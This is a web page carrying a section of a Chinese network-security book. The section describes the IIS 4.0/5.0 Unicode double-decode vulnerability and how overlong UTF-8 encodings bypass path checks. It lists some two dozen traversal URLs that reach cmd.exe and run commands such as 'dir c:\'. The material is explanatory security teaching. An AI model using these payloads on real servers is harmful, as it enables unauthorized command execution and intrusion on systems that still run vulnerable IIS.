4.2.1 漏洞描述

作者: 郭鑫/崔红霞/姜彬出处:电子工业出版社　2008-04-25 12:01　砖好评论条　进入论坛

阅读提示：《企业网络安全致胜宝典》第4章为大家展示的是操作系统漏洞隐患,本节主要讲的是漏洞描述。

4.2 Uniceode与二次解码漏洞的应用

4.2.1 漏洞描述

IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞，导致用户可以远程通过IIS执行任意命令。当IIS打开文件时，如果该文件名包含Unicode字符，它会对其进行解码。如果用户提供一些特殊的编码，将导致IIS被错误的打开，或者执行某些Web根目录以外的文件。

对于IIS 4.0/5.0中文版，当IIS收到的URL请求的文件名中包含一个特殊的编码时，例如“%c1%hh”或者“%c0%hh”，它会首先将其解码变成0xc10xhh，然后尝试打开这个文件。Windows 系统认为0xc10xhh可能是Unicode编码，因此它会首先将其解码，如果 0x00≤ %hh < 0x40的话，采用解码的格式与下面的格式类似：

 %c1%hh -> (0xc1 - 0xc0) * 0x40 + 0xhh
%c0%hh -> (0xc0 - 0xc0) * 0x40 + 0xhh

因此，利用这种编码，黑客可以构造很多字符，例如：

%c1%1c -> (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -> (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'

攻击者可以利用这个漏洞来绕过IIS的路径检查，去执行或打开任意的文件。

此漏洞从中文IIS4.0+SP6开始，还影响中文Windows 2000+IIS 5.0、中文Windows 2000+IIS 5.0+SP 1，中国台湾地区的繁体中文版也同样存在这样的漏洞。

Windows NT 4的编码为：%c1%9c
Windows 2000 英文版的编码为：%c0%af
变形代码有：

/script/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir%20c:\
/script/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir%20c:\
/script/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir%20c:\
/script/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir%20c:\
/scripts/..%c0%2f..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe
/scripts/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir%20c:\
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir%20c:\
/scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
/scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir%20c:\
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir%20c:\
/scripts/..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe
/scripts/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir%20c:\
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir%20c:\
/scripts/..%c1%9c..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe
/scripts/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir%20c:\
/scripts/..%c1%9f../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%9f../winnt/system32/cmd.exe?/c+dir%20c:\
/scripts/../../../../../winnt/system32/cmd.exe?/c+dir
/scripts/../../../../../winnt/system32/cmd.exe?/c+dir%20c:\
/scripts/../../cmd.exe
/scripts/../../winnt/system32/cmd.exe?/c+dir
/scripts/..\../winnt/system32/cmd.exe?/c+dir%20c:\
/scripts/..\..\..\..\../winnt/system32/cmd.exe?/c+dir
/scripts/..\..\..\..\../winnt/system32/cmd.exe?/c+dir%20c:\
/scripts/.._../winnt/system32/cmd.exe?/c+dir

【责任编辑：夏书 TEL：（010）68476606】

回书目 上一节 下一节

关于企业网络安全共享漏洞描述企业网络安全致胜宝典的

文章

博文

帖子

· 4.4.1 漏洞描述(04/25)

· 4.3.1 漏洞描述(04/25)

· 4.4.2 漏洞应用(04/25)

· 4.4 Webdav溢出漏洞应用(04/25)

· 4.3.3 防范策略(04/25)

· 网络端口

· 网络视频服务器

· 安全需知:系统自带不起眼但很强杀毒工具

· 网络上经典的DOS小命令

· 小灵通增加网络电话功能，国内长途0.12元/分钟

· 网络层访问权限控制技术 ACL详解

· 蓝光DVD对阵网络高清下载遭遇严峻挑战

· 网络问题

· 必须学会的几个常用网络测试命令

· 2001——2007年网络管理员考试真题及答案下载

专题

我也说两句

叫好

拍砖

中国最大的网络技术网站 ·
技术成就梦想

·假期读书充电

· 上周Linux系统命令的使..
· 上周真题冲刺测试获奖..
· 全国计算机等考四级模..
· 08年3月各大网上书店及..
· 网络工程师模拟测试获..
· 全国计算机软考考试指..

· 3月24日WCF聊天活动积..
· 全国计算机等级考试四..
· 软件项目估计：第2版
· 系统分析师基础知识自..
· 构建可扩展的Web站点的..
· 2008年全国计算机等级..

排行榜

·假期读书充电 (查看5782次)
·1.2 网络定义 (查看1094次)
·《网管员必读—网络应用》自测.. (查看879次)
·历次技术自测获奖网友详细信息 (查看838次)
·SQL Server入门到精通技术自测.. (查看780次)

·SQL Server入门到精通技术自测试题答案 (5个砖)
·网管员全真面试题自测获奖结果及答案解析 (4个砖)
·超级网管员——网络应用技术自测试题答案 (4个砖)
·免费讲座：搜索引擎营销打造成功网站 (3个砖)
·历次技术自测获奖网友详细信息 (3个砖)

·假期读书充电 (9个好)
·1.2 网络定义 (3个好)
·Visual C++数字图像处理开发入门与编程实践 (3个好)
·《游戏开发核心技术-剧本与角色创造》阅读不枯燥 (3个好)
·SQL Server入门到精通技术自测试题答案 (3个好)

·企业网络安全致胜宝典 (04月)
·2008年上半年全国软考冲刺辅导 (04月)
·SOA思想、技术与系统集成应用详解 (04月)
·网络服务器组建、配置和管理：Windows篇 (04月)
·网络服务器组建、配置和管理：Linux篇 (04月)

·谁能尝到ITIL的甜头？
·Linux系统管理圣经

· 周末病毒预报：当心脚..
· 中国仿冒Cisco设备内部..
· 2010年IT职场冷热职位..
· 微软六月停售XP推Vista..
· windows sp1和sp2有什..
· 黑客曝光被新闻集团雇..
· 看Linux系统管理“圣经..
· 外报称中国黑客开始保..

· 谷歌为员工打造硅谷最..
· 针对DDOS攻击部署防御..
· 综合布线在十类建筑中..
· 系统安全：让你的Windo..
· VLAN技术在企业网络中..
· 微软：雅虎再不谈判就..
· 谷歌付费密取金山词霸..
· TD芯片厂商凯明濒临关..

订阅技术快讯

电子杂志下载

名称：SQL Server数据库管理精品黄皮书
简介：书中文章经过精挑细选，便于用户能根据自己的实际工作和学习，快速在本书寻找到相关资料。内容涵盖了SQL Server的安装与升级、语句查询、数据备份和恢复、自动化任务、数据同步、数据字典、安全和预防、性能和优化、集群等各方面应用信息，以及DBA管理人员在数据库管理工作中

名称：2007路由技术大全
简介：《2007路由技术大全》由51CTO.com网站特别策划制作，该书包括路由器技术、路由器产品、路由器配置、安全设置、路由器故障处理、路由器密码恢复，以及广大网友在实践使用中的心得经验和技巧文章，内容注重实用性，适用于初学者入门，也适合多年从业者提高，是一本实践和理论完

名称：网络安全精品应用黄皮书
简介：《2007精品网络安全黄皮书》包括了9个大类24个小类， 800余篇文章，内容包含了熊猫烧香病毒、DDOS攻击、ARP病等热点问题的介绍及解决方案。从病毒查杀、防范、系统、数据等各方面的安全设置到黑客技术的了解、防范，涉及到了安全应用的全部领域, 由浅至深内容全面。

专题

最多好

最多砖